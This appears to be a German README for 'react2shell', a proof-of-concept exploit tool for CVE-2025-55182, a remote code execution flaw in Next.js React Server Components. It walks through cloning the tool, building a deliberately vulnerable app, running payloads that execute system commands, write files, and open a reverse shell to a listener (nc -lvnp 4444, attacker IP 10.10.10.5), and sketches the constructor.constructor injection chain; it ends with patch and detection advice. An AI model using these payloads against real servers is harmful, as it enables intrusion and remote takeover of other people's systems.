
Ein vollständiges Framework zur Ausnutzung der Schwachstelle CVE-2025-55182
Ein Proof-of-Concept-Exploit für CVE-2025-55182, eine kritische Remote-Code-Ausführung-Schwachstelle in Next.js-Anwendungen, die React Server Components verwenden.
DIESES TOOL IST AUSSCHLIESSLICH FÜR BILDUNGSZWECKE UND AUTORISIERTE SICHERHEITSTESTS GEDACHT.
# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell
# Install dependencies
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
node react2shell.js http://localhost:3000 basic
# Serverkonsole auf Ausgabe überprüfen: EXPLOITED: 50
# Aktuellen Benutzer abrufen
node react2shell.js http://localhost:3000 whoami
# Dateien auflisten
node react2shell.js http://localhost:3000 dir
# Systeminformationen
node react2shell.js http://localhost:3000 systeminfo
# Rechner starten
node react2shell.js http://localhost:3000 calc
# Notepad starten
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Serververzeichnis nach EXPLOITED.txt durchsuchen
# Terminal 1: Listener starten
nc -lvnp 4444
# Terminal 2: Exploit ausführen
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Funktioniert sowohl unter Windows (PowerShell) als auch Linux (Bash)
# Projektverzeichnis erstellen
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Next.js mit verwundbarer Version initialisieren
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Auf verwundbare Version downgraden
npm install [email protected]
# Abhängigkeiten installieren
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# Server läuft auf http://localhost:3000
Der Exploit nutzt eine Deserialisierungsschwachstelle in React Server Components aus:
constructor.constructor, um auf den Function-Konstruktor zuzugreifen_prefix-Feld// Vereinfachte Schwachstellenkette
{
_formData: {
get: '$3:constructor:constructor' // Access Function constructor
},
_prefix: 'YOUR_CODE_HERE//' // Injected code
}
Sofort aktualisieren:
npm update next@latest
npm update react@latest react-dom@latest
Behobene Versionen überprüfen:
npm list next react
Erforderliche Versionen:
next-action-Headern überwachenAchten Sie auf POST-Anfragen mit:
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)
Dies ist ein pädagogisches Tool. Beiträge, die Folgendes verbessern:
sind willkommen. Reichen Sie KEINE Beiträge ein, die Angriffsfähigkeiten verbessern.
Nur für Bildungszwecke - Keine Garantie
Luiz Fernando Ziron Erstellt für Cybersicherheitsbildung und Sensibilisierungszwecke.
Durch die Nutzung dieses Tools stimmst du Folgendem zu:
Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen eine Straftat.
Bleib sicher, bleib ethisch, bleib legal. 🔒
| Payload | Beschreibung | Beispiel |
|---|
basic | Mathematischer Proof-of-Concept (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | Aktuellen Systembenutzer anzeigen | node react2shell.js http://target:3000 whoami |
dir | Inhalte des aktuellen Verzeichnisses auflisten | node react2shell.js http://target:3000 dir |
systeminfo | Betriebssysteminformationen anzeigen | node react2shell.js http://target:3000 systeminfo |
file | Erstelle EXPLOITED.txt-Proof-Datei | node react2shell.js http://target:3000 file |
calc | Rechner starten (visueller Proof unter Windows) | node react2shell.js http://target:3000 calc |
notepad | Notepad starten (visueller Proof unter Windows) | node react2shell.js http://target:3000 notepad |
shell | Reverse Shell (Windows/Linux automatische Erkennung) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |